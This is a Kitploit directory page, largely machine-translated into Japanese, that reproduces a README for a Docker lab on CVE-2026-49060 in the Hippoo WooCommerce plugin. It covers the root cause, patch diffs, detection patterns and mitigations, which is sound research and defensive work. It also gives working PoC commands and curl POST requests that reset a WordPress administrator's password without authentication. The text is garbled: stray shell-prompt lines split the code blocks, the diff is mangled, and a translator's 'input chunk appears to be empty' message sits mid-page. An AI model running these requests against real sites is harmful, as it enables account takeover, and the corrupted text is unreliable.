Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-49060-Lab | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-49060-lab
特権昇格脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-49060-lab

CVE-2026-49060-Lab

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-49060 - Hippoo Mobile App for WooCommerce の不正確な権限割り当て / 権限昇格

エグゼクティブサマリー

このリポジトリには、WordPressプラグイン Hippoo Mobile App for WooCommerce に影響を及ぼす不正確な権限割り当ての脆弱性 CVE-2026-49060 を再現・検証するためのローカル Docker ラボが含まれています。

脆弱な動作は、Hippoo の複製された REST API 名前空間を通じて公開されます:```text /wc-hippoo/v1/ext/

root@kitploit:~
In the vulnerable target, an unauthenticated visitor can access a cloned WordPress REST users route and can update the administrator user's password through an unauthenticated HTTP request. In the patched target, the same request is blocked with `403 Forbidden`.

This lab compares two Hippoo versions:

| Service   | Hippoo version | Purpose                      | URL                     |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln`    |          1.9.4 | 脆弱性のある比較対象           | `http://localhost:8081` |
| `patched` |          1.9.5 | パッチ適用済みの比較対象        | `http://localhost:8082` |

実証される脆弱性チェーンは次のとおりです:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden

このラボは、Hippoo 1.9.4 と Hippoo 1.9.5 を使用して、脆弱性のあるバージョンとパッチ適用済みバージョンの認可動作を検証します。

このラボは意図的にローカルの Docker サービスのみを対象としています。外部システムを標的とせず、永続化、Web シェル、マルウェア、外部コールバックも含みません。

検証済みの事実

前提条件と不明点

このラボでは、公開アドバイザリが 1.9.4 までのバージョンを影響を受けると特定しているため、Hippoo 1.9.4 を脆弱な比較対象として使用します。

このラボでは、公開アドバイザリのメタデータが実証された影響範囲に対する修正バージョンとして 1.9.5 を特定しているため、Hippoo 1.9.5 をパッチ適用済みの比較対象として使用します。

公開されている CVE-2026-49060 レコードは、この問題を大まかに不正確な権限割り当て / 権限昇格(Incorrect Privilege Assignment / Privilege Escalation)として説明しています。このラボは、Hippoo 1.9.4 で観測可能な認可動作に焦点を当て、Hippoo 1.9.5 と比較します。

この README の根本原因の要約は、ラボで使用されている脆弱な Hippoo バージョンとパッチ適用済み Hippoo バージョンのソース比較に基づいています。

このラボは、Hippoo のすべてのルートをテストすることを主張するものではありません。クローンされた WordPress ユーザー REST ルートに焦点を当てています:```text /wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
The lab does not demonstrate:

* persistence,
* web shell upload,
* arbitrary command execution,
* external callbacks,
* malware behavior,
* attacks against non-lab systems,
* or post-compromise activity beyond the local password update validation.

## Root Cause Summary

The root cause is a permission logic flaw in Hippoo's role and permission handling.

Hippoo exposes cloned WordPress and WooCommerce REST routes under its own namespace:```text
/wc-hippoo/v1/ext/

ルートクローン動作は、クローンされたルートが元のルートの認可要件を維持または強化しなければならないため、セキュリティ上重要です。クローンされたルートが寛容な権限コールバックを受け取った場合、認証と認可を必要とするRESTエンドポイントに未認証ユーザーが到達できる可能性があります。

関連するルートクローン動作は、次のパターンに従います:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();

root@kitploit:~
$new_namespace = $this->hippoo_namespace . '/ext';

foreach ($endpoints as $route => $handlers) {
    if (strpos($route, $this->hippoo_namespace) === 0) {
        continue;
    }

    foreach ($handlers as $handler) {
        $default_permission_callback = array($this, 'is_user_wordpress_admin');
        $permission_callback = apply_filters(
            'hippoo_extension_permission_check',
            $default_permission_callback,
            $route,
            $handler
        );

        register_rest_route(
            $new_namespace,
            $route,
            array(
                'methods'             => $methods,
                'callback'            => $handler['callback'],
                'args'                => $handler['args'],
                'permission_callback' => $permission_callback,
            )
        );
    }
}

}

root@kitploit:~
意図されたセキュリティモデルは次のとおりです:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access

脆弱な動作が発生するのは、Hippoo 1.9.4 が2つの異なる状態に対して同じ戻り値を使用するためです:```text administrator / unrestricted access unauthenticated visitor / no user

root@kitploit:~
Hippoo `1.9.4` では、ログイン中のWordPressユーザーがいない場合、権限ヘルパーは `null` を返します:```php
public static function get_user_permissions()
{
    $user = wp_get_current_user();

    if (empty($user) || !$user->exists()) {
        return null;
    }

    if (in_array('administrator', (array) $user->roles)) {
        return null; // Full access
    }

    $settings = get_option('hippoo_permissions_settings', []);
    foreach ((array) $user->roles as $role) {
        if (!isset($settings[$role])) {
            continue;
        }

        return $settings[$role];
    }

    return null; // Full access
}

脆弱なバージョンは null も許可されたものとして扱います:```php private function has_role_access($section, $key = null) { $perms = self::get_user_permissions();

root@kitploit:~
if ($perms === null) {
    return true; // admin or unrestricted
}

if (empty($perms['general']['enable_access'])) {
    return false;
}

}

root@kitploit:~
This creates the vulnerable data flow:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints

問題は、単にRESTルートが存在することではありません。問題は、権限判定が認証されていない訪問者を誤って無制限として扱う可能性があることです。

修正版では、これらの状態が分離されています。

Hippoo 1.9.5 では、認証されていない訪問者は null の代わりに false を返します:```php public static function get_user_permissions() { $user = wp_get_current_user();

root@kitploit:~
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
    return false;
}

if (in_array('administrator', (array) $user->roles)) {
    return null; // Full access
}

$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
    if (isset($settings[$role])) {
        return $settings[$role];
    }
}

return false; // No access

}

root@kitploit:~
修正された認可チェックは、その後明示的に `false` を拒否します:```php
private function has_role_access($section, $key = null)
{
    $perms = self::get_user_permissions();

    if ($perms === null) {
        return true; // admin
    }

    if ($perms === false) {
        return false;
    }

    if (empty($perms['general']['enable_access'])) {
        return false;
    }
}

セキュリティ関連の変更は次のとおりです:```text Before: unauthenticated visitor → null → allowed

After: unauthenticated visitor → false → denied

root@kitploit:~
これがラボに表示される理由です:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden

ソースパッチの概要

このパッチは、権限の戻り値の意味を変更します。

脆弱なバージョンでは:```text null means administrator/full access null also means unauthenticated/no user

root@kitploit:~
パッチ適用版では:```text
null means administrator/full access
false means unauthenticated/no role/no access

パーミッションヘルパーにおける重要なソースレベルの変更点は次のとおりです。```diff public static function get_user_permissions() { $user = wp_get_current_user();

  • if (empty($user) || !$user->exists()) {
  • root@kitploit:~
       return null;
    
  • if (empty($user) || !$user->exists() || !is_user_logged_in()) {

  • root@kitploit:~
       return false;
    

    }

    if (in_array('administrator', (array) $user->roles)) { return null; // Full access }

    $settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {

  • root@kitploit:~
       if (!isset($settings[$role])) {
    
  • root@kitploit:~
           continue;
    
  • root@kitploit:~
       if (isset($settings[$role])) {
    
  • root@kitploit:~
           return $settings[$role];
       }
    
  • root@kitploit:~
       return $settings[$role];
    

    }

  • return null; // Full access

  • return false; // No access }
root@kitploit:~
認可決定も変更されます:```diff
 private function has_role_access($section, $key = null)
 {
     $perms = self::get_user_permissions();

     if ($perms === null) {
-        return true; // admin or unrestricted
+        return true; // admin
     }

+    if ($perms === false) {
+        return false;
+    }
+
     if (empty($perms['general']['enable_access'])) {
         return false;
     }
 }

このパッチは、Hippooのルートクローニング機能を削除するものではありません。代わりに、権限評価に関する信頼境界を修正します。

このパッチから得られるセキュリティ上の教訓は、次のとおりです。```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".

root@kitploit:~
セキュリティ上重要な権限関数は、状態ごとに異なる値を使用する必要があります:```text
administrator / full access     → allowed
authenticated user with policy   → evaluate policy
unauthenticated user             → denied
unknown role / no configured ACL → denied

ラボのアーキテクチャ

このラボは、Docker Compose を使用して 2 つの分離された WordPress インストールを実行します。```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore

root@kitploit:~
The two WordPress services use separate databases and separate plugin versions:

| Service        | Component                        | Version / Role                 |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln`         | WordPress + WooCommerce + Hippoo | 脆弱なターゲットアプリケーション  |
| `patched`      | WordPress + WooCommerce + Hippoo | パッチ適用済みターゲットアプリケーション |
| `db-vuln`      | MariaDB                          | 脆弱なターゲット用データベース    |
| `db-patched`   | MariaDB                          | パッチ適用済みターゲット用データベース |
| `init-vuln`    | WordPress 初期化サービス          | 脆弱なターゲットを初期化します    |
| `init-patched` | WordPress 初期化サービス          | パッチ適用済みターゲットを初期化します |

デフォルトで公開されているサービス:```text
Vulnerable target: http://localhost:8081
Patched target:    http://localhost:8082

このラボでは、Hippoo の固定バージョンを使用します:

TargetHippoo バージョン期待される動作
http://localhost:80811.9.4未認証のクローン済みユーザールートが許可される
http://localhost:80821.9.5未認証のクローン済みユーザールートがブロックされる

このラボでは、Hippoo が WooCommerce REST クラスおよびルートと統合するため、WooCommerce をインストールします。

要件

  • Docker Desktop または Docker Engine
  • Docker Compose v2
  • Python 3
  • Docker イメージのビルド中に WordPress プラグインパッケージを取得するためのインターネットアクセス

Python のサードパーティパッケージは不要です。PoC は Python 標準ライブラリのモジュールのみを使用します。

クイックスタート

クリーンな状態からラボを起動します:```bash docker compose down -v --remove-orphans

docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5

docker compose up --build --wait -d

root@kitploit:~
サービスのステータスを確認:```bash
docker compose ps

期待される正常なサービス:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched

root@kitploit:~
Webアプリケーションを確認してください:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

両方のターゲットに対して読み取り専用の検証を実行します:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
両方のターゲットに対してアクティブなローカル検証を実行します:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

明示的なパスワードでアクティブ検証を実行します:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081

root@kitploit:~
## PoC の使用方法

位置引数としてローカルターゲット URL を 1 つ以上渡します:```bash
python3 poc/poc.py <target_url> [target_url...]

例:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
デフォルトモードは読み取り専用です。認証なしの`GET`リクエストをクローンされたユーザールートに送信し、アクセスが許可されているかブロックされているかを報告します。

サポートされているオプション:```text
--update-password   Send unauthenticated POST to update the selected user's password.
--user-id           WordPress user ID to read or update. Default: 1.
--password          Password used with --update-password.

アクティブ検証の例:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081

root@kitploit:~
このPoCはループバック/ローカルターゲットのみを受け付けます:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>

設計上、非ローカルターゲットは拒否されます。

期待される結果

読み取り専用の検証

コマンド:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
想定される脆弱なターゲットシグナル:```text
Target: target-1
Base  : http://127.0.0.1:8081

[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: ALLOWED
  Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK

期待されるパッチ適用済みターゲットシグナル:```text Target: target-2 Base : http://127.0.0.1:8082

[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden

root@kitploit:~
予想される要約:```text
Summary

target-1
  URL             : http://127.0.0.1:8081
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : ALLOWED
  GET status      : 200

target-2
  URL             : http://127.0.0.1:8082
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : BLOCKED
  GET status      : 403

Read-only comparison:
  At least one target allowed unauthenticated GET access and at least one target blocked it.
  This supports a vulnerable-vs-patched authorization behavior difference.

アクティブなローカル検証

コマンド:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
期待される脆弱なターゲットシグナル:```text
Active local validation: target-1
Base                   : http://127.0.0.1:8081

Unauthenticated POST password update result: ALLOWED
  Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK

期待されるパッチ適用済みターゲットシグナル:```text Active local validation: target-2 Base : http://127.0.0.1:8082

Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden

root@kitploit:~
アクティブ検証は、ローカルの脆弱なラボターゲット内の使い捨てWordPress管理者パスワードのみを変更します。

アクティブ検証前のデフォルトのローカルラボ認証情報:```text
Username: admin
Password: AdminPass123!

脆弱なターゲットに対するアクティブ検証が成功した後のデフォルトパスワード:```text Username: admin Password: Cve49060LabPass123!

root@kitploit:~
## 検証の仕組み

バリデータはまずWordPress REST APIを検出します。

一部のWordPress環境では、RESTルートがパーマリンク経由で公開されています:```text
/wp-json/

他のものでは、クエリ文字列のフォールバックを通じて、より確実にそれらを公開します:```text /?rest_route=/

root@kitploit:~
バリデータは両方の形式を試し、JSON RESTインデックスを返す方を使用します。

RESTディスカバリの後、Hippooのクローン済みユーザールートを探します:```text
/wc-hippoo/v1/ext/wp/v2/users

次に、読み取り専用の認証なしGETリクエストを実行します:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1

root@kitploit:~
想定される脆弱な動作:```text
HTTP 200 OK
JSON user object returned

期待されるパッチ適用後の動作:```text HTTP 403 Forbidden JSON rest_forbidden error returned

root@kitploit:~
When `--update-password` is enabled, the validator sends an unauthenticated POST request:

`--update-password` が有効な場合、バリデータは認証なしの POST リクエストを送信します:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json

{
  "password": "Cve49060LabPass123!"
}

想定される脆弱な動作:```text HTTP 200 OK The selected user's password is updated inside the local lab target.

root@kitploit:~
パッチ適用後の期待される動作:```text
HTTP 403 Forbidden
The update is blocked.

重要な違いは、ルートが存在するかどうかではありません。ルートは両バージョンに存在します。セキュリティ上の違いは、未認証のリクエストがそれを呼び出せるかどうかです。

curl を使用した手動 HTTP 再現

読み取り専用の脆弱性プローブ:```bash curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'

root@kitploit:~
期待される結果:```text
HTTP/1.1 200 OK
Content-Type: application/json

読み取り専用のパッチ適用済みプローブ:```bash curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'

root@kitploit:~
I'm ready to translate the provided Markdown content from English to Japanese. However, the input chunk appears to be empty — no content was included between "INPUT:" and "Expected result:".

Since there is no source text to translate, there is nothing to output. Please resend the chunk with its actual content, and I'll produce the Japanese translation following all the specified rules.```text
HTTP/1.1 403 Forbidden
Content-Type: application/json

アクティブ脆弱性プローブ:```bash curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'

root@kitploit:~
期待される結果:```text
HTTP/1.1 200 OK

アクティブなパッチ適用済みプローブ:```bash curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'

root@kitploit:~
期待される結果:```text
HTTP/1.1 403 Forbidden

影響

この脆弱な動作により、Hippoo の名前空間下にあるクローンされた REST ルートへの未認証アクセスが可能になります。

最もセキュリティ上重要であることが実証されたルートは、クローンされた WordPress ユーザールートです:```text /wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
脆弱なローカルターゲットでは、認証されていないリクエストによって管理者ユーザーのパスワードを更新できます。これは、管理されたラボ環境におけるアカウント乗っ取りの影響を示しています。

サイト構成や公開されたルートに応じた現実世界での潜在的な影響は次のとおりです。

* 機密のREST APIデータへの不正アクセス、
* 管理者アカウントの乗っ取り、
* 権限昇格、
* WordPressユーザーレコードの不正な変更、
* そして管理者アクセス取得後のサイト全体の侵害。

このラボは、認可の失敗とローカル管理者パスワードの更新のみを示しています。認証後の悪用、プラグインの編集、コード実行、永続化、または破壊的な操作は含まれません。

## 検出と監視

潜在的な指標には、Hippooの複製されたREST名前空間への認証されていないリクエストが含まれます:```text
/wc-hippoo/v1/ext/

高リスク経路パターン:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
疑わしい指標:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests

アクセスログパターンの例:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1

root@kitploit:~
推奨される監視アクション:

* `/wc-hippoo/v1/ext/` についてWebサーバーのアクセスログを確認します。
* 予期しない管理者ログインがないかWordPress認証ログを確認します。
* 最近のパスワード変更がないかWordPressユーザーレコードを確認します。
* 管理者アカウントのメールアドレス、ロール、作成タイムスタンプを確認します。
* 管理者権限の乗っ取りが疑われる場合は、プラグイン/テーマのファイル変更時刻を確認します。
* 認可が必要なのに未認証ユーザーに `200 OK` を返すREST APIリクエストを監視します。

## 緩和策とパッチノート

Hippoo Mobile App for WooCommerce を修正済みバージョンにアップグレードしてください。

この特定のラボ比較では、Hippoo `1.9.5` は、`1.9.4` で許可されていた未認証のクローン化ユーザールートの動作をブロックします。

本番環境では、ラボ比較バージョンで止めるのではなく、利用可能な最新バージョンに更新してください。

推奨される緩和手順:

* Hippoo Mobile App for WooCommerce を利用可能な最新の修正済みバージョンに更新します。
* インストールされているバージョンが影響を受ける範囲より新しいことを確認します。
* `/wc-hippoo/v1/ext/` が公開されているかどうかを確認します。
* 悪用が疑われる場合は、管理者パスワードをローテーションします。
* WordPress管理者アカウントに不正な変更がないか確認します。
* クローン化されたRESTルートへの未認証リクエストについてWebアクセスログを確認します。
* 即時パッチ適用が不可能な場合は、プラグインを一時的に無効化します。
* WAFまたは仮想パッチを一時的なレイヤーとして使用します。アップグレードの代替としてではなく。

セキュリティエンジニアリングの教訓:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.

便利な検証コマンド

コンテナの状態を確認します:```bash docker compose ps

root@kitploit:~
初期化ログを確認してください:```bash
docker compose logs init-vuln init-patched

Web サービスを確認してください:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
読み取り専用の検証を実行:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

アクティブな検証を実行:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
アクティブなプラグインを確認:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Hippooのバージョンを確認してください:```bash docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

root@kitploit:~
脆弱なターゲット内の権限ロジックを検査する:```bash
docker compose exec -T vuln sh -lc \
  "grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"

パッチ適用済みターゲットの権限ロジックを検査する:```bash docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"

root@kitploit:~
検証エビデンスを保存:```bash
mkdir -p evidence

python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/read-only-validation.txt

python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/active-password-update-validation.txt

docker compose ps \
  | tee evidence/docker-compose-ps.txt

クリーンアップ

コンテナとネットワークを停止して削除します:```bash docker compose down --remove-orphans

root@kitploit:~
コンテナ、ネットワーク、ボリュームを削除:```bash
docker compose down -v --remove-orphans

ローカルの証拠ファイルが作成された場合は削除します:```bash rm -rf evidence/

root@kitploit:~
## Safety Boundaries

このラボは、ローカルのセキュリティ研究および管理されたデモンストレーションのみを目的としています。

所有していないシステム、または明示的なテスト許可を得ていないシステムに対して、PoCや手動のcurlリクエストを実行しないでください。

このラボでは、実際の本番環境の認証情報、実際の顧客データ、または本番環境のシークレットを使用しないでください。

対象範囲は、以下のようなローカルのDockerサービスに限定されます:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

The PoC is intentionally HTTP-only and local-scope. It does not call Docker, Docker Compose, WP-CLI, or container APIs.

The active validation mode changes the password only for the selected WordPress user inside the disposable local lab target.

The lab does not include payloads for:

  • web shell upload,
  • arbitrary command execution,
  • persistence,
  • lateral movement,
  • credential theft,
  • database dumping,
  • or external callbacks.

The goal is to demonstrate one specific technical condition in a controlled environment:```text unauthenticated request

  • Hippoo cloned REST route
  • vulnerable permission sentinel logic
  • unauthenticated access allowed in 1.9.4
  • unauthenticated access blocked in 1.9.5
root@kitploit:~
## 参考文献

* NVD: CVE-2026-49060
  https://nvd.nist.gov/vuln/detail/CVE-2026-49060

* Patchstack: WordPress Hippoo Mobile App for WooCommerce プラグイン <= 1.9.4 権限昇格
  https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability

* GitHub アドバイザリ: GHSA-mh6m-7983-2r5w
  https://github.com/advisories/GHSA-mh6m-7983-2r5w

* WordPress.org プラグイン: Hippoo Mobile App for WooCommerce
  https://wordpress.org/plugins/hippoo/

* WordPress.org プラグイン SVN
  https://plugins.svn.wordpress.org/hippoo/

* WordPress.org プラグイン SVN タグ
  https://plugins.svn.wordpress.org/hippoo/tags/

* WordPress REST API ハンドブック: ルートとエンドポイント
  https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/

* OWASP Web セキュリティテストガイド: 認可バイパスのテスト
  https://owasp.org/www-project-web-security-testing-guide/
ツールをダウンロード
主張証拠このラボでの検証方法
CVE-2026-49060 は、WooCommerce 向け Hippoo Mobile App のバージョン 1.9.4 までに影響します。公開アドバイザリは、Hippoo <= 1.9.4 / 1.9.4 までが影響を受けると特定しています。References セクションを確認し、vuln サービスのバージョンを比較します。
Hippoo 1.9.5 は、パッチ適用済みの比較対象として使用されます。公開アドバイザリのメタデータは、影響を受ける範囲に対するパッチ適用済みバージョンとして 1.9.5 を特定しています。docker compose logs init-vuln init-patched を実行し、初期化されたプラグインのバージョンを確認します。
脆弱な動作は、Hippoo のクローンされた REST 名前空間を通じて公開されます。Hippoo は外部 REST ルートを /wc-hippoo/v1/ext/ の下に再登録します。python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 を実行します。
このラボでは、Hippoo 1.9.4 はクローンされたユーザールートへの未認証アクセスを許可します。ラボの PoC は、http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 から 200 OK を受け取ります。8081 に対して読み取り専用の検証コマンドを実行します。
このラボでは、Hippoo 1.9.5 は同じ未認証リクエストをブロックします。ラボの PoC は、http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 から 403 Forbidden を受け取ります。8082 に対して読み取り専用の検証コマンドを実行します。
このローカルラボでは、脆弱なターゲットは未認証の POST を通じて管理者パスワードを更新できます。アクティブな PoC は、--update-password を使用したときに脆弱なターゲットから 200 OK を受け取ります。python3 poc/poc.py --update-password http://127.0.0.1:8081 を実行します。
パッチ適用済みのターゲットは、未認証のパスワード更新リクエストをブロックします。Hippoo 1.9.5 は、同じクローンされたユーザールートに対して Forbidden 応答を返します。両方のターゲットに対してアクティブな検証を実行します。
PoC は HTTP のみです。poc/poc.py は HTTP リクエストのみを送信し、Docker、WP-CLI、またはコンテナ API を呼び出しません。poc/poc.py を確認します。